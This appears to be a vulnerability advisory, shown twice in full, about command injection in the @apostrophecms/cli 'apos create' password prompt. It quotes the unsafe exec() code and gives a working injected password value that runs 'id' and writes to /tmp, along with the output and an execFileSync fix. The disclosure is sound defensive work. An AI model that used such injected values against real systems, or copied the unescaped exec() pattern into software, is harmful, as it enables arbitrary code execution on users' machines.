Summary
The @apostrophecms/cli package contains a command injection vulnerability in the apos create command.
User-supplied input from the password prompt is embedded directly into a shell command without proper sanitization or escaping.
This allows execution of arbitrary commands on the host system.
━━━━━━━━━━━━━━━━━━━━━━
Details
Vulnerable file: lib/commands/create.js
Location: Line 186
The CLI collects a password using an interactive prompt and passes it directly into a shell command.
Vulnerable code:
const response = await prompts({
type: 'password',
name: 'pw',
message: '🔏 Please enter a password:'
});
exec(echo "${response.pw}" | ${createUserCommand});
The value of response.pw is not validated, sanitized, or escaped before being used in exec().
This allows shell metacharacters such as ;, &&, and $() to break out of the intended command and execute arbitrary commands.
━━━━━━━━━━━━━━━━━━━━━━
Steps to Reproduce
- Install the CLI
npm install -g @apostrophecms/cli
- Create a new project
mkdir testproject && cd testproject
apos create mysite
3)When prompted for the admin password, enter
"; id > /tmp/apos_rce_proof.txt; echo "
4)Verify command execution
cat /tmp/apos_rce_proof.txt
━━━━━━━━━━━━━━━━━━━━━━
Proof of Concept Output
uid=1000(vboxuser) gid=1000(vboxuser) groups=1000(vboxuser),27(sudo),984(docker)
This confirms arbitrary command execution with the privileges of the user running the CLI.
━━━━━━━━━━━━━━━━━━━━━━
Impact
Arbitrary command execution on the developer’s machine
Execution occurs with the privileges of the user running the CLI
This can lead to:
File modification or deletion
Credential exposure
System compromise depending on user privileges
An attacker can exploit this by influencing the password input (for example, through social engineering, malicious documentation, or compromised automation scripts).
The proof-of-concept shows execution under a user belonging to privileged groups such as sudo and docker, which may allow further privilege escalation depending on system configuration.
━━━━━━━━━━━━━━━━━━━━━━
Suggested Fix
Avoid using exec() with user-controlled input.
Use execFile() instead:
const { execFileSync } = require('child_process');
execFileSync('node', [appJsPath, userTask, 'admin', 'admin'], {
input: response.pw + '\n'
});
━━━━━━━━━━━━━━━━━━━━━━
Affected Version
All current versions of @apostrophecms/cli
━━━━━━━━━━━━━━━━━━━━━━
Tested On
Ubuntu 22.04
Node.js v18.19.1
━━━━━━━━━━━━━━━━━━━━━━
CWE
CWE-78 — Improper Neutralization of Special Elements used in an OS Command
━━━━━━━━━━━━━━━━━━━━━━
References
Summary
The @apostrophecms/cli package contains a command injection vulnerability in the apos create command.
User-supplied input from the password prompt is embedded directly into a shell command without proper sanitization or escaping.
This allows execution of arbitrary commands on the host system.
━━━━━━━━━━━━━━━━━━━━━━
Details
Vulnerable file: lib/commands/create.js
Location: Line 186
The CLI collects a password using an interactive prompt and passes it directly into a shell command.
Vulnerable code:
const response = await prompts({
type: 'password',
name: 'pw',
message: '🔏 Please enter a password:'
});
exec(echo "${response.pw}" | ${createUserCommand});
The value of response.pw is not validated, sanitized, or escaped before being used in exec().
This allows shell metacharacters such as ;, &&, and $() to break out of the intended command and execute arbitrary commands.
━━━━━━━━━━━━━━━━━━━━━━
Steps to Reproduce
npm install -g @apostrophecms/cli
mkdir testproject && cd testproject
apos create mysite
3)When prompted for the admin password, enter
"; id > /tmp/apos_rce_proof.txt; echo "
4)Verify command execution
cat /tmp/apos_rce_proof.txt
━━━━━━━━━━━━━━━━━━━━━━
Proof of Concept Output
uid=1000(vboxuser) gid=1000(vboxuser) groups=1000(vboxuser),27(sudo),984(docker)
This confirms arbitrary command execution with the privileges of the user running the CLI.
━━━━━━━━━━━━━━━━━━━━━━
Impact
Arbitrary command execution on the developer’s machine
Execution occurs with the privileges of the user running the CLI
This can lead to:
File modification or deletion
Credential exposure
System compromise depending on user privileges
An attacker can exploit this by influencing the password input (for example, through social engineering, malicious documentation, or compromised automation scripts).
The proof-of-concept shows execution under a user belonging to privileged groups such as sudo and docker, which may allow further privilege escalation depending on system configuration.
━━━━━━━━━━━━━━━━━━━━━━
Suggested Fix
Avoid using exec() with user-controlled input.
Use execFile() instead:
const { execFileSync } = require('child_process');
execFileSync('node', [appJsPath, userTask, 'admin', 'admin'], {
input: response.pw + '\n'
});
━━━━━━━━━━━━━━━━━━━━━━
Affected Version
All current versions of @apostrophecms/cli
━━━━━━━━━━━━━━━━━━━━━━
Tested On
Ubuntu 22.04
Node.js v18.19.1
━━━━━━━━━━━━━━━━━━━━━━
CWE
CWE-78 — Improper Neutralization of Special Elements used in an OS Command
━━━━━━━━━━━━━━━━━━━━━━
References